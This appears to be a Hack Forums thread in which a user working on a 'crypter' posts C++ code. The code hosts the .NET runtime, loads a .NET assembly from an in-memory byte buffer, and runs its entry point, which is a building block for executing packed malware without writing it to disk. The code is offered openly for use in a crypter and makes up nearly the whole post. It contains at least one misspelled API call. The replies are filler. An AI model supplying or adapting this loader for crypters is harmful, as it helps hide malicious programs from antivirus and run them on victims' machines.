

Forum:[Hack Forums](#)

Thread: [RunPE .net](#)

zrty - June 15, 2017, 3:52 am

Hey,

I'm currently working on my crypter and since I was experiencing trouble with executing .net assembly I wrote this function. I've also added a code to determine if the PE file is a .net program.

Spoiler ([Click to View](#))Code struct sDotNet

```
{
    ~sDotNet()
    {
        if (pMetaHost)
            pMetaHost->Release();

        if (pRuntimeInfo)
            pRuntimeInfo->Release();

        if (pCorRuntimeHost)
            pCorRuntimeHost->Release();
    }

    ICLRMetaHost *pMetaHost = nullptr;
    ICLRRuntimeInfo *pRuntimeInfo = nullptr;
    ICorRuntimeHost *pCorRuntimeHost = nullptr;
};

struct sSafeArray
{
    sSafeArray() { }
    sSafeArray(SAFEARRAY *Array)
        : pArray(Array) { }

    ~sSafeArray()
    {
        if (pArray)
            SafeArrayDestroy(pArray);
    }

    SAFEARRAY *pArray = nullptr;
};

bool isDotNet(PIMAGE_NT_HEADERS pNT)
{
    if (pNT->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
    {
        if ((reinterpret_cast<PIMAGE_NT_HEADERS32
```

```

(pNT))->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
    return true;
}
else
{
    if
((reinterpret_cast<PIMAGE_NT_HEADERS64>(pNT))->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
        return true;
}

return false;
}

bool runDotNet(BYTE *pBuffer, DWORD dwSize)
{
    sDotNet rNet;
    HRESULT hRes = CLRCreatInstance(CLSID_CLRMetaHost,
IID_PPV_ARGS(&rNet.pMetaHost));
    if (FAILED(hRes)) return false;

    hRes = rNet.pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&rNet.pRuntimeInfo));
    if (FAILED(hRes)) return false;

    BOOL blsLoadable;
    hRes = rNet.pRuntimeInfo->IsLoadable(&blsLoadable);
    if (FAILED(hRes) || !blsLoadable) return false;

    hRes = rNet.pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,
IID_PPV_ARGS(&rNet.pCorRuntimeHost));
    if (FAILED(hRes)) return false;

    hRes = rNet.pCorRuntimeHost->Start();
    if (FAILED(hRes)) return false;

    IUnknown *pDefaultDomain = nullptr;
    hRes = rNet.pCorRuntimeHost->GetDefaultDomain(&pDefaultDomain);
    if (FAILED(hRes)) return false;

    mscorlib::_AppDomainPtr pAppDomain = nullptr;
    hRes = pDefaultDomain->QueryInterface(IID_PPV_ARGS(&pAppDomain));
    if (FAILED(hRes)) return false;

    SAFEARRAYBOUND sBounds = { dwSize, 0 };
    sSafeArray rFileBuffer(SafeArrayCreate(VT_UI1, 1, &sBounds));

    void* pData;
    SafeArrayAccessData(rFileBuffer.pArray, &pData);

    memcpy(pData, pBuffer, dwSize);
    SafeArrayUnaccessData(rFileBuffer.pArray);

```

```

mscorlib::_AssemblyPtr pAssembly = nullptr;
hRes = pAppDomain->Load_3(rFileBuffer.pArray, &pAssembly);
if (FAILED(hRes)) return false;

mscorlib::_MethodInfo *pMethodode = nullptr;
hRes = pAssembly->get_EntryPoint(&pMethodode);
if (FAILED(hRes)) return false;

BSTR bsParameter;
pMethodode->get_ToString(&bsParameter);

sSafeArray rParameter;
if (std::wstring(bsParameter).find(L"String[]") != std::wstring::npos)
{
    int argc;
    LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);

    VARIANT vArguments;
    sSafeArray rArgs(SafeArrayCreateVector(VT_BSTR, 0, argc));

    vArguments.vt = VT_ARRAY | VT_BSTR;
    vArguments.parray = rArgs.pArray;

    for (long i = 0; i != argc; ++i)
        SafeArrayPutElement(vArguments.parray, &i, SysAllocString(argv[i]));

    long Index[1] = { 0 };
    rParameter.pArray = SafeArrayCreateVector(VT_VARIANT, 0, 1);

    SafeArrayPutElement(rParameter.pArray, Index, &vArguments);
}

VARIANT obj;
VariantInit(&obj);

pMethodode->Invoke_3(obj, rParameter.pArray, nullptr);
return true;
}

```

To use this code you have to include metahost.h, mscoree.h, Unknwn.h and mscoree.lib

Malicious Intent - June 16, 2017, 8:39 am

Posting here to come back ..

Tester - June 16, 2017, 9:00 am

This is my test. Please check it.

HFDone - June 20, 2017, 3:43 am

test > an unknown error accored while trying to reply > been fix

Uiqueblhats - June 22, 2017, 12:29 am

Posting here to come back ..

